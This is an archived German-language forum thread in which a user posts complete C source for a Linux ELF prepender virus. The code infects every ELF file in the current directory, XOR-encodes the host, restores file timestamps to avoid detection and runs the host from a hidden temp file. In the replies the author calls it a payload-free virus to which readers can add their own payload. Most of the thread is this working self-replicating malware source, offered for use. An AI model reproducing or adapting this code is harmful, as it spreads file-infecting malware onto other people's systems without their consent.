PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : [C] ELF Prepender



R3s1stanc3
09.04.2015, 14:00
Soo. Dann bringen wir mal bisschen Leben aufs Board.
Hier ist ein kleiner Prepender, den ich vor kurzem geschrieben habe. Den Code habe ich schon auf dem ein oder anderen Board gepostet aber wir brauchen hier ein bisschen mehr Aktivität.
Der Code ist relativ simpel. Das aktuelle Verzeichnis wird nach ELF Dateien durchsucht (es wird derzeit nur auf 0x7F, 'E', 'L', 'F' in den ersten 4 Bytes gecheckt). Haben wir eine ELF Datei, wird überprüft, ob diese schon infected ist. Der infection Marker ist der String "does this look infected?". Wenn dieser String in einer Datei vorkommt, wird abgebrochen und mit der nächsten Datei weiter gemacht. Wenn eine Datei noch nicht infected ist, wird die Datei in einen char Buffer eingelesen, mit einer Kopie der ersten 12669 (Größe des Viruses in der 0. Generation) Bytes der gerade ausgeführten Datei ersetzt und der Byte für Byte mit dem Virus xor'ed Bytecode der Host Datei an die eben erstellte Kopie angehangen (ist im Sourcecode leichter zu verstehen, als wenn ich das ganze versuche mit Sprache zu erklären ;)). Nach der Infection werden access und modification Time des Hostfiles wieder hergestellt um nicht zu sehr aufzufallen.
Wenn dann alle Dateien im aktuellen Verzeichnis abgearbeitet wurden, checkt der Virus, ob die gerade ausgeführte Datei größer ist als 12669 . Ist das der Fall, wird alles ab dem 12669. Byte eingelesen, wieder mit dem Virus xor'ed, in eine temporäre Datei geschrieben und executed. Nach der Execution wird die temp Datei wieder gelöscht.
Das ist die Technik einfach zusammen gefasst, hier der Code:

/**
* Simple Linux prepender written in C
*
* Compile with: gcc -o filename filename.c
*
* R3s1stanc3 - r3s1stanc3@riseup.net
*/

#include <dirent.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/stat.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <utime.h>
#include <sys/wait.h>

const char *mark = "does this look infected?" ; // infection mark and detection string
const unsigned long int virsize = 12669 ; // our virus size
unsigned char *virbytes ;

char *randHostname ( const int length ) // generates a random temporary name for our host file
{

int i ;
char *str = calloc ( length+1, sizeof(char) ) ;
char chars +++91; +++93; = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWX YZ0123456789" ;

str +++91; 0 +++93; = '.' ; // start the filename with '.' so it won't be shown by default
for ( i = 1; i < length; i++ )
{
str +++91; i +++93; = chars +++91; rand() % strlen(chars) +++93; ;
}

return str ;

}

unsigned long int fileSize ( const char *file ) // returns the size of a file
{

FILE *fd ;
unsigned long int size ;
fd = fopen ( file, "rb" ) ; // open file for reading
if ( fd == NULL ) return 0 ; // error

fseek ( fd, 0, SEEK_END ) ; // go to the end of the file
size = ftell ( fd ) ; // get our position which is equal to the file size
fclose ( fd ) ; // close file

return size ; // return size

}


unsigned char *readFile ( const char *file ) // returns a buffer with the contents of a file
{

FILE *fd ;
unsigned char *buf ;
unsigned long int size = fileSize ( file ) ;

fd = fopen ( file, "rb+" ) ; // open file for reading
if ( fd == NULL ) return NULL ; // oh no we got an error

buf = calloc ( size, sizeof(unsigned char) ) ; // allocate our buffer and init it with 0x00
if ( buf == NULL ) return NULL ; // oh no, another error

fread ( buf, sizeof(unsigned char), size, fd) ; // copy files content in our buffer

fclose ( fd ) ; // close file

return buf ;

}

int isElf ( const char *file ) // checks if a file is a valid ELF (at this point only the magic number is checked)
{

FILE *fd ;
const unsigned char magicNumber +++91; +++93; = { '\x7f', 'E', 'L', 'F' } ; // ELF magic number
int i ;

fd = fopen ( file, "rb" ) ; // open the file for reading
if ( fd == NULL ) return 0 ; // error

for ( i = 0; i < sizeof(magicNumber); ++i )
if ( fgetc(fd) != magicNumber+++91;i+++93; ) return 0 ;

fclose ( fd ) ;

return 1 ;

}

int isInfected ( const char *file ) // search for our infection mark to check if a file is infected
{

unsigned long int size = fileSize ( file ) ;
unsigned char *buf ;
int i ;

buf = readFile ( file ) ;
if ( buf == NULL ) return -1 ;

for ( i = 1; i < size; ++i ) // I stole this loop from TMZ's Linux.Zariche.A who got it from slek
{ // so thanks slek, I hope you are ok with this
if ( buf+++91;i+++93; == mark+++91;0+++93; )
{
int j ;
for ( j = 1; j < strlen(mark); ++j )
{
if ( i + j >= size ) break ;
if ( buf+++91;i + j+++93; != mark+++91;j+++93; ) break ;
}
if ( j == strlen(mark) )
{
free ( buf ) ;
return 1 ; // infected !!1!
}
}
}
free ( buf ) ; // you are free my friend
return 0 ; // not infected

}

/**
* to infect a file, the virus first writes its own bytes to a file, followed by the host bytes
* the host bytes will be xor'ed with the virus bytes
* it also restores the access and modification time of the host file to prevent detection
*/
void infect ( const char *file )
{

unsigned char *hostbytes = readFile ( file ) ; // read the host bytes
unsigned long int hostsize = fileSize ( file ) ;
struct utimbuf ut ; // used to store the access and modification time of the host file
struct stat st ;
int i ;

stat ( file, &st ) ;
ut.actime = st.st_atim.tv_sec ;
ut.modtime = st.st_mtim.tv_sec ;
FILE *fd ;
fd = fopen ( file, "wb" ) ;
fwrite ( virbytes, sizeof(unsigned char), virsize, fd) ; // write virus bytes to file
for ( i = 0; i < hostsize; i++ )
hostbytes +++91; i +++93; ^= virbytes +++91; i%virsize +++93; ;
fwrite ( hostbytes, sizeof(unsigned char), hostsize, fd ) ; // write host bytes to file
free ( hostbytes ) ; // you are free

fclose ( fd ) ;
utime ( file, &ut ) ; // restore access and modification time

}

/**
* encrypts the host bytes, extracts them to a temporary file, chmods the file and
* executes it with the parameters given to our virus
*/
void runHost ( const char *file, const char **args ) // file is always argv+++91;0+++93;
{

FILE *fd ;
int i ;
pid_t pid ; // we need this to fork later
unsigned long int hostsize = fileSize ( file ) - virsize ; // calculate the size of the host file
unsigned char buf +++91; hostsize +++93; ;
char *hostname = randHostname ( 10 ) ; // generate a random file name

fd = fopen ( file, "rb" ) ; // open infected file for reading
if ( fd == NULL ) return ; // error

fseek ( fd, virsize, SEEK_SET ) ; // set the file position indicator at the end of the virus
fread ( buf, sizeof(unsigned char), hostsize, fd) ; // read the host bytes in a buffer
fclose ( fd ) ;

fd = fopen ( hostname, "wb" ) ; // open temp file for writing
if ( fd == NULL ) return ; // error

for ( i = 0; i < hostsize; i++ )
buf +++91; i +++93; ^= virbytes +++91; i%virsize +++93; ;
fwrite ( buf, sizeof(unsigned char), hostsize, fd ) ; // write host bytes to temp file
fclose ( fd ) ;

chmod ( hostname, strtol("0755", 0, 8) ) ; // chmod 755 temp file

pid = fork ( ) ; // fork and let the child execute the host file
if ( pid == -1 ) return ; // error
if ( pid == 0 ) // child
{
execv ( hostname, args ) ; // execute host file
exit ( 0 ) ; // exit child process
}
else // parent
{
wait ( NULL ) ; // wait for host execution to finish
unlink ( hostname ) ; // remove temp file
}

free ( hostname ) ; // you're free

}

int main ( int argc, char **argv )
{

DIR *dir ;
struct dirent *ent ;
FILE *fd ;
int i ;
srand ( time(NULL) ) ; // seed the random number generator

fd = fopen ( argv+++91;0+++93;, "rb" ) ;
if ( fd == NULL ) return 1 ;

virbytes = calloc ( virsize, sizeof(unsigned char) ) ;
if ( virbytes == NULL ) return 1 ;
fread ( virbytes, sizeof(unsigned char), virsize, fd) ; // read the virus bytes from the current file
fclose ( fd ) ;

dir = opendir ( "." ) ; // open current directory
if ( dir == NULL ) return 1 ;

while ( (ent = readdir(dir)) != NULL ) // for each file in .
if ( isElf(ent->d_name) && !isInfected(ent->d_name) ) infect ( ent->d_name ) ; // infect, if it's an ELF and not already infected

closedir ( dir ) ; // close

if ( fileSize(argv+++91;0+++93;) > virsize ) runHost ( argv+++91;0+++93;, argv ) ; // if the size is bigger than the virus itself, we need to run the host

free ( virbytes ) ; // free everything !1!!

return 0; // bye
}

Edit: Da die eckigen Klammern unschön escaped werden, hier nochmal als Paste: https://paste.static.lu/?9fc04b6a7d553b08#RV3grN8EorjSOm76IdN8IUtZ7RbduQgM 9pCi5faJmkI=

4ctid
09.04.2015, 14:34
free ( buf ) ; // you are free my friend
[...]
free ( hostbytes ) ; // you are free
[...]
free ( hostname ) ; // you're free
[...]
​free ( virbytes ) ; // free everything !1!!


Versuch dieses Gefühl mal einem Garbage-Collector abhängigen Entwickler zu vermitteln ;)

Ich habe noch nicht alles durchgeguckt, sieht aber viel versprechend aus, wenn mir auch der Nutzen nicht ganz klar ist^^

R3s1stanc3
09.04.2015, 14:36
Naja es ist halt ein einfacher ELF Virus. Komplett ohne Payload o.Ä. Es werden nur ELF Files unter Linux infected und fertig. Einen Payload kannst du selber einbauen, wenn du das möchtest. Dann musst du nur virsize anpassen :)